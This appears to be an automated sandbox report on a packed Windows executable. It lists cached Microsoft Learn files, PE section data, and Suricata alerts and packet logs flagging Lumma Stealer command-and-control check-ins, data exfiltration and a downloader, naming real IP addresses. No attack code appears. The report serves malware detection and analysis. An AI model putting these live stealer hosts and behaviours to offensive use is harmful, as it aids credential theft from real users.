Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948393062886975
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'839'616 bytes
MD5:	aa1848a9a16aa15d7856a7026d49f19b
SHA1:	b62bbc9c0f385f542eca38955c73af689e492c39
SHA256:	10bbb6a485613807f9253ec55295429463fac355e39b1b450d7d88dcf98f1959
SHA512:	0b4378347cbd64948f6ae35b9e71f91f464655b8e9778ac4e26ea7eb6532cf9ef8756cd5a5c421dc64a5f629032bb82975960dfaef5c18cc29c30cdc4705ae24
SSDEEP:	49152:D+vZB99yKgx4nonwUsWp38Big8l0AGakRO/1cWqZjHN6X:DeZBryKglwUsENgf5p86JN
TLSH:	3C8533BA1EC29EF9CAEC17341EF781662ED1A443019B6A9B1574FC30907355FE29F221
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D............H...........@...........................I...........@.................................\...p..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x88e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6737BFB3 [Fri Nov 15 21:40:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7F88DC22CAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5c05c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5c1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5a000	0x27800	a75fc0e7a731daa9e8e2c4a172b05566	False	0.9982013943829114	data	7.987284147831566	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5b000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5c000	0x1000	0x200	6821e858ec0b8e7e2533a33c0c061d34	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x5d000	0x29a000	0x200	22a9c8f0b7b614441d7f634059ea6b06	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wymbajvl	0x2f7000	0x196000	0x196000	72ae7a086c506db6978488f91e0fbdea	False	0.9945170585745073	data	7.953219410406336	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lvenwpid	0x48d000	0x1000	0x400	700512e9c37eb58e1dd8c4e254a6acce	False	0.8359375	data	6.301700987554705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x48e000	0x3000	0x2200	722090a4cf6cd1b2141459670399eee3	False	0.09995404411764706	DOS executable (COM)	1.1189279158277272	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-18T17:23:07.504027+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-18T17:23:08.218076+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-18T17:23:08.218076+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-18T17:23:08.993181+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-18T17:23:09.861944+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-18T17:23:09.861944+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-18T17:23:10.727559+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	188.114.96.3	443	TCP
2024-11-18T17:23:11.588776+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49732	188.114.96.3	443	TCP
2024-11-18T17:23:12.406057+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	188.114.96.3	443	TCP
2024-11-18T17:23:14.835626+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	188.114.96.3	443	TCP
2024-11-18T17:23:16.887734+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	188.114.96.3	443	TCP
2024-11-18T17:23:19.733834+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	188.114.96.3	443	TCP
2024-11-18T17:23:19.739035+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49736	188.114.96.3	443	TCP
2024-11-18T17:23:25.837502+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	188.114.96.3	443	TCP
2024-11-18T17:23:26.334272+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49742	188.114.96.3	443	TCP
2024-11-18T17:23:27.244212+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49743	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 17:23:06.829636097 CET	49730	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:06.829693079 CET	443	49730	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:06.829794884 CET	49730	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:06.832546949 CET	49730	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:06.832592964 CET	443	49730	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:07.503956079 CET	443	49730	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:07.504026890 CET	49730	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:07.519221067 CET	49730	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:07.519273996 CET	443	49730	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:07.519617081 CET	443	49730	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:07.563942909 CET	49730	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:07.592922926 CET	49730	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:07.592972040 CET	49730	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:07.593314886 CET	443	49730	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:08.218106985 CET	443	49730	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:08.218225002 CET	443	49730	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:08.218298912 CET	49730	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:08.228915930 CET	49730	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:08.228972912 CET	443	49730	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:08.285032034 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:08.285073042 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:08.285151005 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:08.285434008 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:08.285445929 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:08.626432896 CET	49675	443	192.168.2.4	173.222.162.32
Nov 18, 2024 17:23:08.993068933 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:08.993180990 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:08.994528055 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:08.994539976 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:08.995294094 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:08.997132063 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:08.997189999 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:08.997231960 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.861988068 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.863060951 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.863137007 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:09.863173008 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.864423037 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.864481926 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:09.864492893 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.865588903 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.865667105 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:09.865675926 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.867011070 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.867070913 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:09.867079020 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.869436026 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.869494915 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:09.869504929 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.869648933 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.869735956 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.869757891 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:09.869766951 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.869813919 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:09.870342970 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.870551109 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.870620012 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:09.870691061 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:09.870707035 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:09.870723963 CET	49731	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:09.870729923 CET	443	49731	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:10.066263914 CET	49732	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:10.066366911 CET	443	49732	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:10.066471100 CET	49732	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:10.066880941 CET	49732	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:10.066920042 CET	443	49732	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:10.727413893 CET	443	49732	188.114.96.3	192.168.2.4
Nov 18, 2024 17:23:10.727559090 CET	49732	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:10.760190010 CET	49732	443	192.168.2.4	188.114.96.3
Nov 18, 2024 17:23:10.760221004 CET	443	49732	188.114.96.3	192.168.2.4
